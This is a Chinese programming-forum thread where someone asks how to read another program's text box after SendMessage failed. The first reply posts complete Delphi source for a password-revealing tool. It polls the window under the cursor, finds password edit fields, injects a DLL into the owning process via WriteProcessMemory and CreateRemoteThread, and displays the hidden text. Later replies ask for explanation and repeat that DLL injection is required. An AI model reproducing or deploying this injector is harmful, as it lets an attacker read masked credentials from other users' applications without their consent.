如何使用hook，或者其他方法得到对方程序中文本框的内容。--100fen

Question

如题，
不要告诉我sendmessage来得到，我试了，不行。
http://expert.csdn.net/Expert/topic/1815/1815068.xml?temp=.1778223
可以参考这个帖子，如果解决了，分可以全给。
急，谢谢。:(

Answer 1

password.dpr
{***************************************************************}
program password;uses
  windows,messages;{$R *.RES}var
//----------------------
  wClass:   TWndClass;   //窗口类变量
  Msg:      TMSG;        //消息变量
  hInst,                 //程序实例
  Handle,                //主窗口句柄
  hFont,                 //字体句柄
//----------------
  hEditEmail,     //e-mail编辑
  hLabelEmail    //e-mail提示
  :integer;          //句柄类型
procedure WriteCaption(hwnd:hwnd;text:pchar);begin sendmessage(hwnd,WM_SETTEXT,0,integer(text));end;
procedure ReadCaption(hwnd:hwnd;text:pchar);begin sendmessage(hwnd,WM_GETTEXT,400,integer(text));end;//主程序结束
procedure ShutDown;
begin
  DeleteObject(hFont);
  UnRegisterClass(wClass.lpszClassName,hInst);
  ExitProcess(hInst);
end;
//这是主窗口的消息处理函数
function WindowProc(hWnd,Msg,wParam,lParam:integer):Longint; stdcall;
begin
  Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
  case Msg of
  WM_DESTROY: ShutDown;
  end;
end;
//定义几个窗口创建函数
function CreateEdit(name:pchar;x1,y1,x2,y2:integer):hwnd;begin  Result:=CreateWindowEx(WS_EX_CLIENTEDGE,'Edit',name,WS_VISIBLE or WS_CHILD or ES_PASSWORD or ES_LEFT or ES_AUTOHSCROLL,x1,y1,x2,y2,Handle,0,hInst,nil);end;
function CreateLabel(name:pchar;x1,y1,x2,y2:integer):hwnd;begin  Result:=CreateWindow('Static',name,WS_VISIBLE or WS_CHILD or SS_LEFT,x1,y1,x2,y2,Handle,0,hInst,nil);end;
function CreateMain(name:pchar;x1,y1,x2,y2:integer):hwnd;
begin
  hInst:=GetModuleHandle(nil);
  with wClass do
  begin
    Style:=         CS_PARENTDC;
    hIcon:=         LoadIcon(hInst,'MAINICON');
    lpfnWndProc:=   @WindowProc;
    hInstance:=     hInst;
    hbrBackground:= COLOR_BTNFACE+1;
    lpszClassName:= 'MainClass';
    hCursor:=       LoadCursor(0,IDC_ARROW);
  end;
  RegisterClass(wClass);
  Result:=CreateWindow(wClass.lpszClassName,name,WS_OVERLAPPEDWINDOW or WS_VISIBLE,x1,y1,x2,y2,0,0,hInst,nil);
end;
//---------主过程，类似于 C语言 中的 WinMain()
begin
  handle:=CreateMain('exename',10,10,320,135);
  hEditEmail:=CreateEdit('[email protected]',60,4,174,20);
  hLabelEmail:=CreateLabel('攻击目标:',4,8,54,24);
  hFont:=CreateFont(-12,0,0,0,0,0,0,0,GB2312_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH or FF_DONTCARE,'宋体');
  //改变字体
  SendMessage(hEditEmail,WM_SETFONT,hFont,0);
  SendMessage(hLabelEmail,WM_SETFONT,hFont,0);
  while(GetMessage(Msg,Handle,0,0))do
  begin
    TranslateMessage(Msg);
    DispatchMessage(Msg);
  end;
end.{*************************************************}
pass2k.dpr
{*************************************************}
Program Pass2K;
uses windows,messages,sysutils;
var
  wClass:   TWndClass;   //窗口类变量
  Msg:      TMSG;        //消息变量
  hInst,Handle,hParent:thandle;
  hLong:longint;
  hPoint:TPOINT;
//
procedure run2;
var
  hRemoteThread,hkernel32,dwRemoteProcessId,hRemoteProcess:integer;
  cb,pcb:dword;
  pfnStartAddr,pszLibFileName,pszLibFileRemote:pchar;
begin
  cb:=100;
  GetWindowThreadProcessId(hParent,@dwRemoteProcessId);
  hRemoteProcess:=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwRemoteProcessId);
  getmem(pszLibFileName,cb);
  strcopy(pszLibFileName,pchar(ExtractFilePath(ParamStr(0))+'\dll02.dll'));
  pszLibFileRemote:=VirtualAllocEx(hRemoteProcess,NIL,cb,MEM_COMMIT,PAGE_READWRITE);
  WriteProcessMemory(hRemoteProcess,pszLibFileRemote,pszLibFileName,cb,pcb);
  Freemem(pszLibFileName);
  hkernel32:=GetModuleHandle('Kernel32.dll');
  pfnStartAddr:=GetProcAddress(hkernel32,'LoadLibraryA');
  hRemoteThread:=CreateRemoteThread(hRemoteProcess,NIL,0,pfnStartAddr,pszLibFileRemote,0,pcb);
  WaitForSingleObject(hRemoteThread,INFINITE);
  TerminateThread(hRemoteThread,0);
end;
//这是主窗口的消息处理函数
function WindowProc(hWnd,Msg,wParam,lParam:integer):Longint; stdcall;
begin
  Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
  case Msg of
  WM_DESTROY:halt;
  WM_TIMER:
  begin
    GetCursorPos(hPoint);
    hParent:=WindowFromPoint(hPoint);
    hLong:=GetWindowLong(hParent,GWL_STYLE);
    if (hLong and ES_PASSWORD)=ES_PASSWORD then run2;
  end;
  end;
end;
//
begin
  hInst:=GetModuleHandle(nil);
  with wClass do
  begin
    Style:=         CS_PARENTDC;
    hIcon:=         LoadIcon(hInst,'MAINICON');
    lpfnWndProc:=   @WindowProc;
    hInstance:=     hInst;
    hbrBackground:= COLOR_BTNFACE+1;
    lpszClassName:= 'MainHostClass';
    hCursor:=       LoadCursor(0,IDC_ARROW);
  end;
  RegisterClass(wClass);
  handle:=CreateWindow(wClass.lpszClassName,'http://hotsky.363.net',WS_OVERLAPPEDWINDOW or WS_VISIBLE,80,10,220,85,0,0,hInst,nil);
  settimer(handle,0,200,NIL);
  while(GetMessage(Msg,Handle,0,0))do
  begin
    TranslateMessage(Msg);
    DispatchMessage(Msg);
  end;
end.{********************************}
Dll2.dpr
{********************************}
library dll02;
uses windows,messages,sysutils;
var
  hInst,hParent:thandle;
  hPoint:TPOINT;
  str:array[0..100] of char;
begin
//  hInst:=GetModuleHandle(nil);
    GetCursorPos(hPoint);
hParent:=WindowFromPoint(hPoint);
GetWindowText(hParent,str,100);
MessageBox(0,str,pchar('hehe'),0);
FreeLibrary(hinstance);
end.

Answer 2

能不能给讲讲？
好象还是sendmessage

Answer 3

楼上，请问怎么用hook实现？谢谢。

Answer 4

你看上面的源码啊，是通过调用Dll2.dll中的方法实现的

Answer 5

对不起，我们这里不让上qq。
我留下我的qq号吧
16303482

Answer 6

如果你是用的2000/xp那就需要做个dll然后注入到你想要得到密码的窗口进程中
不要向我要源码我也没有